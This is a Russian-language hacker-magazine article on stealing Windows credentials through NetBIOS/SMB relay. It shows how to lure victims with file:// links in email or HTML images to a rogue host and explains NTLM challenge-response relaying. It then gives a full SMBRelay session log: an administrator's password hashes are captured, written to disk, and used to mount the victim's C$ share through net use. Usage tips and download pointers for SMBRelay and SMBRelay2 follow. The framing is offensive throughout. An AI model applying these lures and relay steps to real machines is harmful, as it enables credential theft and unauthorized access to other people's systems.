Так как Винды
автоматически логинятся на хост под
текущим юзером (если специально не сказано
другое), то нападающий ака хаЦкер, установив
связь с жертвой через NetBIOS, может получить
всю регистрационную инфу, которую ем Винда
сама принесет на блюдечке с голубой
каемочкой. L0pht Crack's FAQ утверждает, что такой
способ хорош для получения паролей с
удаленного компа. Существует несколько
способов заставить Винду подцепиться по 
NetBIOS’у к другому компьютеру. Тот же L0pht Crack's
FAQ советует послать жертве мыло с таким
линком file://1.2.3.4/share/whatever.html, чтобы, ткнув на
него, юзер подключился к 1.2.3.4-серверу в
качестве текущего юзера, со всеми “вытекающими”
из него паролями.

На самом деле,
довольно просто спровоцировать соединение
по NetBIOS-у. Для этого достаточно иметь любой
брозуер или приложение на основе IE API (WinInet) и
картинку в хтмл-документе со таким линком:
file://1.2.3.4/share/whatever.gif или можно использовать
NBNAME/RESPOND, чтобы вернуть атакующему IP адрес в
ответ на запросы (понятно, что лучше всего
вообще вызывать telnet соединение - NTLM зашит в
виндусовский клиент, хотя как видите и в IE
он по словам
L0pht
есть). Или же можно заиметь удаленный сервис
(типа ftp/http), который не шибко проверяет
имена и пути сохранения файлов, на котором
можно сделать аналогичный линк: \\1.2.3.4\share\whatever.gif.

Концепция “посредничества”
конечно уже устарела. Но все же вынуждая
жертву идентифицироваться можно получить
доступ к его регистрационной инфе. Таким же
макаром можно получить доступ к любому
серверу, который запрашивает
аутентификационную инфу жертвы. После
получения этой инфы, клиент жертвы
отваливается, а нападающий остается на
сервере под логином жертвы и захватывает
соединение. SMB использует “вызов-отклик”
метод аутентификации. Вызов – это 8-ми
битные пакеты случайно сгенерированных
данных, которые зашифровывает  клиент,
используя в качестве ключа свой пароль. Всё
это происходит примерно так:

Client->Server
Больно мне больно, хочу одну из служб
сервера!
Server->Client
Типа ответ, вот мое NetBIOS
имя для коннекта.
Client->Server

Ну ты крут чувак, какой протокол ты хочешь
использовать?
Server->Client

Щас выберу (выбирает), вот такой. Вот тебе
парочка данных - зашифруйка их мне.
Client->Server

Ща попробуем, вот мое имя и зашифрованные
данные, береги их е мое!
Server->Client

Да все зашибись, никому не отдам, заходи.

Получения доступа с
помощью NetBIOS’a выглядит примерно так:

Target client->Attacker
Хочу сессию, коннект давай.
Attacker->Target server
Типа тут станция - коннект хочет...
Target Server->Attacker
НУ приконнектися если сумеешь.
Attacker->Target client
Да ты коннектся, не боись.

Target client->Attacker

Ну ты крут чувак, какой протокол ты хочешь
использовать?
Attacker->Target server
Начинаем протокол определять. Хочешь
пообщатся со мной как с NT 4 без повышенной
безопасности?
Target server->Attacker
Давай так попробуем.
Attacker->Target client
ПротОкол выбрали, давай говори пароль!

Target client->Attacker
Сессию установили - вот мой пароль (данные
зашифрованные) и имя.
Attacker->Target server
Вот типа почти мой пароль и имя.

Target server->Attacker
Ок, заходи дарагой.
Attacker->Target client
и так далее.
Законнектившись,
жертва может подтвердить установленное
соединение с помощью Net Session.

SMBRelay

SMBRelay – это программа
доступа, которая обменивается пакетами
данных по 139 порту с 139 портом удаленного
компа. Суть ее описана выше - при коннекте
удаленного хоста, она вытягивает у
пользователя фактически хэш его пароля и
записывает в файл.
SMBRelay
– это многозадачная прога, которая
поддерживает несколько соединений
одновременно. Она автоматически создает
новые IP и удаляет их, когда жертва
отсоединяется. Она не допустит соединения
двух одинаковых IP, если только ранее не было
установлено успешное соединение с жертвой,
а потом разорвано. Если такое происходит, то
прога использует такой же адрес при
следующем коннекте. SMBRelay пишет куски
собранных NTLM
паролей в hashes.txt,
чтобы ими можно было заняться позже - с
помощью L0phtcrack. Пример:

С:\>smbrelay /I 2 /D 1
SMBRelay v0.9664182F.G5 beta - NetBIOS session relay

Copyright 2001: Sir Dystic, Cult of the Dead Cow
Send complaints, ideas and donations to sirdystic@cultdeadcow.com
Bound to port 139 on address 11.11.11.11

Connection from 60.61.62.63:1140
Request type: Session Request 72 bytes

Source name: BOB <00>

Target name: *SMBSERVER <20>

Setting target name to source name and source name to 'CDC4EVER'...Response:

Positive Session Response 4 bytes

Request type: Session Message 174 bytes
SMB_COM_NEGOTIATE

Response: Session Message 99 bytes
Challenge (8 bytes): 268B11C361473D20

Request type: Session Message 278 bytes
SMB_COM_SESSION_SETUP_ANDX

Password lengths: 24 24

Case insensitive password: 59A8A04CC37D226F0AC44065C84FDF9FEB1BB611C3CBE936

Case sensitive password: 8BA548AF1F9A517BBFBEF4E53D1D8B5D94E81C5523E7B251
Username: "administrator"

Domain: "BOB"

OS: "Windows NT 1381"

Lanman type: ""

Response: Session Message 148 bytes

OS: "Windows NT 4.0"

Lanman type: "NT LAN Manager 4.0"
Domain: "BOBSMITH"

Password hash written to disk

Connected?

Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

D:\>net use \\192.1.1.1
The command completed successfully.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

*** Relay connection for target BOB received
from 11.11.11.11:1472
Relay request type: Session Request 72 bytes, 72 target BOB
*** Sent positive session response for relay target BOB

Relay request type: Session Message 174 bytes, 174 target BOB

BOB:SMB_COM_NEGOTIATE 174 bytes
0 - Dialect 2 - PC NETWORK PROGRAM 1.0
1 - Dialect 2 - XENIX CORE
2 - Dialect 2 - MICROSOFT NETWORKS 1.03
3 - Dialect 2 - LANMAN1.0
4 - Dialect 2 - Windows for Workgroups 3.1a
5 - Dialect 2 - LM1.2X002
6 - Dialect 2 - LANMAN2.1

*** Sent dialect selection response (7) for
target BOB

Relay request type: Session Message 260 bytes, 260 target BOB
BOB:SMB_COM_SESSION_SETUP_ANDX 260 bytes

*** Sent SMB Session setup response for relay to BOB

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

D:\>net use z: \\192.1.1.1\c$
The command completed successfully.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Relay request type: Session Message 136 bytes,
136 target BOB

BOB:SMB_COM_SESSION_SETUP_ANDX 136 bytes

Received 132 byte response from target BOB

Relay request type: Session Message 81 bytes, 81 target BOB

BOB:SMB_COM_TREE_CONNECT_ANDX 81 bytes

Received 56 byte response from target BOB

Received request header, expecting 4 bytes for target BOB
Relay request type: Session Keep Alive 4 bytes, 4 target BOB

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

D:\>net use * /d /y
The command completed successfully.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Relay request type: Session Message 39 bytes,
39 target BOB
BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB

Relay request type: Session Message 39 bytes, 39 target BOB

BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB

Relay request type: Session Message 43 bytes, 43 target BOB

BOB:SMB_COM_LOGOFF_ANDX 43 bytes

*** Logoff from target BOB
*** Relay disconnected from target BOB

Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63

Deleted relay IP address 192.1.1.1 for target BOB

*** Target BOB Disconnected

Примечания по
использованию SMBRealy:

а) 139 порт должен не
использоваться - понятно почему.
В
Win 2000 прога не сможет блокировать 139 порт,
если система уже использует его. Это
происходит из-за нового флага сокета,
который Мелкомягкие добавили специально,
чтобы предотвратить использование этого
порта другими приложениями. Проще всего
сделать это, используя команду /L+ option, чтобы
создать новый IP на вашем NIC’е и дождаться,
когда жертва сама подключится к заданному
адресу. Другой способ – это ручками
добавить новый айпи с помощью панели
управления и использовать /L для
спецификации этого адреса.

SMBRelay все же может
блокировать 139 порт, но не это не значит, что
прога действительно будет получать
входящие соединения. Если система уже
соединена с чем-то, когда
SMBRelay
будет
блокировать порт, то скорее всего вообще
ничего работать не будет. Под Win 98 прога
вообще в принципе не коннектится, а под Win NT
даже при самых удачных обстоятельствах
лишь иногда устанавливает соединение.
Чтобы
создать новый айпи на вашей машине, вы
должны задать определенный интерфейс
адаптера, используя опции и/или /IR, /IL.
Используйте /E, что просмотреть список
созданных ранее интерфейсов. Под Win NT этот
список просто симпатичные циферки, а в Win 2000
мы уже видим хексы. Если вы не используйте
команду /IR, чтобы установить интерфейс, то
прога по умолчанию придаст ему значение 1,
который использует интерфейс “петли”.

б) Прога должна быть
запущена от админа. Доступ админа так же
требуется для добавления и удаления Ip-адресов,
что в SMBRealy является нормальной операцией.
Поэтому SMBRealy должна работать только в
качестве аккаунта админа. SMBRealy пашет под и с
Win NT и Win 2000. Соединение с 9x и ME могут иметь
непредсказуемые последствия.

SMBRelay по идее должен
запускаться только на машинах с NT или Y2K, но
вы можете попробовать ее и под 98, но нет
гарантии, что она будет работать.

Первое, что вам нужно
сделать для того, чтобы законнектиться это
следующее:

NET USE \\192.1.1.1

После этого вы можете
делать все что угодно с компом жертвы через
сеть Windows, используя различные адреса
хостов (например: \\192.1.1.1).

Скачать с Х.

SMBRelay2

SMBRelay2 также работает
на уровне NetBIOS’a и должна работать на любом
другом протоколе (например: NetBEUI, TCP/IP). SMBRelay2
больше использует адреса NetBIOS’a, а не айпи.
Она так же поддерживает передачу данных
третьему лицу. Но к сожалению, она
поддерживает “прослушивание” только
одного имени, поэтому жертва должна
попытаться законнектится к этому имени,
чтобы SMBRelay2 смогла работать (имя –
локальное), поэтому жертва должна ломиться
к ресурсу через локальное имя.

Скачать с Х.

Check Also

Исходный кот. Как заставить нейронную сеть ошибиться

Нейросети теперь повсюду, и распознавание объектов на картинках — это одно из самых популя…

Оставить мнение